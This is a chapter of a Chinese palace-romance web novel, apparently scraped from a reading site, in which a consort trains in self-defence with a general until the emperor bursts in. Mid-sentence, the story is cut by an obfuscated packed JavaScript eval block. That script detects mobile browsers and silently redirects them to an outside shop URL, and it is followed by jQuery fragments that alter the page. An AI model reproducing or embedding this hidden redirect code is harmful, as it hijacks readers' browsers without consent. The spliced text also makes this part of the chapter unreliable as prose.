文趣网 > 其他小说 > 收个暴君当小弟,不许撒娇啦 > 26. 雷声阵阵,心跳如鼓
    “对了,你昨晚为什么来找我?”闻朝溪背过身去撩起衣服低头认真擦着药。

    “朕……朕想小团子了,来看看它!”君凌轩一拍脑门编出的谎话连他自己都不信,一国之君大晚上的不睡觉突然想一只兔子?就算真的想也只会是麻辣兔头、炝炒兔丁、红烧兔肉!

    还好小团子无法识别他的谎话,乖乖趴在地上补觉。

    但闻朝溪只是“哦”了一声,大概在她眼中,小团子那么讨人喜欢,就是会出现在每个人午夜梦回时。

    “那姐姐昨晚又去哪儿了呢?大晚上不在殿里睡觉难不成去私会情郎了?”

    闻朝溪心尖猛地一颤,明明之前已经跟他坦白过,她真心爱慕之人是卫长骁,君凌轩也答应了等收拾了王清和就放她出宫成亲,但还是生出些做贼心虚的感觉,真话到了嘴边转了个弯成了谎言:“我……我去给小团子找新鲜萝卜去了呀!”

    蹲在墙角的小团子双耳猛地竖起,闻朝溪一惊,怎么把它给忘了呀!真是偷鸡不成蚀把米……

    她偷偷挪动身子挡住小团子。

    “朕早就吩咐濯清宫的小厨房常年备着兔子吃的萝卜和青菜,那些存货我看过,就算姐姐和小团子顿顿萝卜,大半年都吃不完,还需要去找萝卜?”他的脸刹那间凑近,一双黑眸亮闪闪地直直盯住她,仿佛能跟小团子一样察觉出谎言。

    闻朝溪被他看得心里直发毛,装着不耐烦地挥了挥袖子:“你也说啦,那些萝卜都是囤在厨房里的,早都不新鲜了!我就想着去给小团子找些土里刚拔出来的。你是知道的,从前在坞村时我宁肯自己饿肚子,也不会委屈我养的那帮小东西啦!”

    “小顺子!”君凌轩冲着门外喊了一声,那心思剔透的小太监耳朵也灵,立马进来跪着听令。

    “找工人来把外面院里的‘假山流水’推了,改种萝卜!”

    等等,流水要是没了,我晚上还怎么去卫府学功夫啊?难不成又要去那口井?那井在东边,濯清宫在西边,我怕是还没走到就被宫里巡夜的侍卫抓了!皇后正愁没法子惩治我呢,被扭送到朝阳宫我还能有命吗?

    “不了不了,这大雪天的种萝卜能活吗?小团子吃厨房存的那些够了……”

    “那今晚姐姐还出去吗?”

    君凌轩这话怎么问得这么阴阳怪气呢?吓得闻朝溪不敢直视她的眼睛。

    “不……不去了,天儿这么冷我就留在殿里烤火。”她答得结结巴巴,活像被先生训斥的犯错学生。

    可天有不测风云,本来闻朝溪生怕君凌轩今晚会来濯清宫盯梢,打算让卫长青带个话给他哥,说她晚上不去了,没想到居然打起了雷!

    真是天助我也!闻朝溪高兴得直拍大腿,一打雷那娇滴滴的贵妃就害怕,心上人一害怕那君凌轩还不在床边陪着?怎么会有闲心来逮我呢?

    她没多想一脚就踏入了细流顺利进了卫府。

    一抬头就对上了卫长骁含着殷切期盼的眼底。

    他在冰冷刺骨的雨中撑着把油纸伞,见到她的瞬间眸中漾开浅浅的温柔,长臂一伸将人揽了上来。

    “卫将军在等我?”闻朝溪向来害怕被人等着,那种被人盼望着的感觉总让她觉得双肩上载着沉沉的压力,如果满足不了对方眼里的期许该怎么办呢?

    “溪溪,雨下得太大了,今晚就去我房间练吧!”卫长骁把伞整个遮在闻朝溪头顶,自己身上却全部湿透。

    闻朝溪赶紧往他身前挪了挪,整个人贴上他,这样一把伞就能同时盖住两个人了。

    可这卫长骁又想歪了:“啊啊啊,她抱我!”

    两人就这样紧靠着彼此回了房,但因为风大,闻朝溪发尾还是沾了水,散乱地贴在如凝脂般的修长玉颈上。

    今夜的雨中还夹着雪,冻得闻朝溪抱着手臂跺脚。

    “鞋袜都湿了还是先脱下来吧。”卫长骁说着就将人按在榻边坐下,抬起女子的脚放于大腿上,一层层地褪下,直到露出一截雪白纤细的小腿,秀气的足尖因为紧张微微蜷缩着。

    卫长骁径直用榻上的织锦缎褥轻轻为她擦拭着,他指尖滚烫,每一下都不经意地触在她发凉的脚背,她下意识想躲,却被他牢牢攥住。

    窗外雷声阵阵,房内之人心跳如鼓。

    “好了卫将军,我没那么娇气,不如你先去换身干的外衣,我们就抓紧时间开练吧……”

    闻朝溪轻抿薄唇,有些不忍心打扰他的认真,但又想赶快结束这暧昧的气氛。

    “你身有孕,受不得寒。”卫长骁低头一遍又一遍地细细摩挲着。

    “有孕?你听谁说的?难不成又是那皇后在造我的谣!”闻朝溪火气腾起,腿不自觉一蹬就踹在了卫长骁的下巴。

    他顾不上疼,此刻只想问个明白:“昨晚你没跟陛下圆……没发生什么?”

    “发生了啊!”

    听到这话的卫长骁,凉透的心终于死了。

    “我把他抱床上去,我睡在地上,为了给他烤火取暖,把床榻都烧了!”卫长骁死去的心又复活了。

    原来真是我多想了!

    溪溪心悦之人是我,怎么可能轻易从了圣上呢!

    “溪溪的肩膀也湿了,我去拿套替换的来。”卫长骁笑意满溢地出了门,一层绯色漫上来,从脖子一直红到了耳根。

    霁月本以为卫长骁会拿些府中婢女的衣物来,没想到他带来的却是他自己的:“这是我小时候穿的,应该不会大太多。”

    她躲在屏风后换上,的确刚刚好,这卫长骁不去做裁缝可惜了,打眼一瞧她就能找来合身的衣裳。

    “那你先把昨天教你的拳法打一次给我看看吧。”行云流水的动作一出,卫长骁不敢相信地猛眨眼,比刚学时竟还精进不少,已经到了炉火纯青的地步。

    溪溪真是骨骼清奇,悟性又高,短短一日便能将此套拳与自身优势融会贯通,运用自如。

    若非她乃女子,卫长骁真想将她引荐进卫家军,假以时日,必成封疆大将。

    “这套拳法你已经学得很好,不如我再教你些其他的吧!”卫长骁略加思索后有了主意:“溪溪你不是怕皇后再派

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968689|214610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人欺负你吗?不如我就教你些防身之术吧,这样你日后若再遇到坏人想钳制与你,就能反抗了!”

    “这正是我想学的呢!”

    “假如有人从后方攻击你,来,你试着用力掐住我的肩膀。”卫长骁绕到她身前,略屈了屈膝盖,好让她上手。

    “这一招对普通女子来说或许困难,但却正适合力量不俗的你。”

    “好!”闻朝溪刚一覆上男人的肩,手腕就被狠狠钳住,轻轻往上一折,她就被卸了力,身子往一边歪去。

    “这是不是就是昨天你对付我那招啊!”

    卫长骁收着力,闻朝溪没觉得疼,反而喜上眉梢,脚步轻快朝卫长骁身前又跳了两步。

    他望进她晶亮的眸子,一时忘了松手,痴痴回道:“溪溪真是冰雪聪明,看一遍就明白了……”

    “哎呀,说什么冰呀雪呀的,这天气听着都冻人,来,我们再演练一下吧,这回你从后面钳住我的肩膀。”

    闻朝溪照着刚才卫长骁的动作,回首欲擒住他手腕,不料那人却不按刚才的路数走,顺势与她十指相扣,将人往怀里拽,紧紧护在了胸膛。

    “卫长骁你……”闻朝溪还未骂出声,就被男人用力捂住了口鼻。

    他轻声耳语:“嘘,外面有人……”

    闻朝溪回眸一瞧,果然有个黑影映在窗纸上。

    “何方贼人如此大胆,竟敢夜闯卫府!”卫长骁一手持剑,一手将闻朝溪牢牢圈在臂弯之中。

    “砰”一声,房间门被人猛地踢开,来人一身玄衣,周身怒气蔓延,厉声大喝:“卫将军不仅当朕是贼,还竟敢抱着朕的妃子!卫氏一族真是居功自傲到以为朕不敢杀你?”

    “陛下?”揽得死紧的二人同时长大了嘴,异口同声道:“你怎么会在这?”

    卫长骁震惊是因为圣上深夜驾临,卫府上下都没人通报?

    闻朝溪惊讶的是雷雨之夜君凌轩怎么没在萧婵的芷兰宫中陪着?

    二人共同的疑问是:他要干嘛?

    闻朝溪:他这是逮我来了?

    卫长骁:圣上不会也想学功夫吧?

    君凌轩三两步迈到闻朝溪身前,硬气地将人从卫长骁怀中抢了回来。

    “回宫!”

    没有训斥和责骂,君凌轩对着半夜待在臣子房中的妃子只有这简短的两个字。

    失了人的卫长骁这才反应过来,刚才的场景好像会让已婚女子的夫君误以为二人在做些难以启齿之事……

    他朝着君凌轩的背影“扑通”一声跪下:“陛下,清妃娘娘为了能在宫中自保才找微臣学些防身之术,我们之间除了师徒关系再无其他!”

    君凌轩抱着的小团子乍然竖起长耳。

    他在心里冷笑,鬼才信!

    但“在宫中自保”几个字于君凌轩听来却无比刺耳,好似在责怪他未能将闻朝溪保全妥当,不是今天这儿受伤,就是明天那儿流血。

    又像是在看轻他,作为夫君却没有能力护住自己夫人,逼得一个女子不得不拜师学武以自保。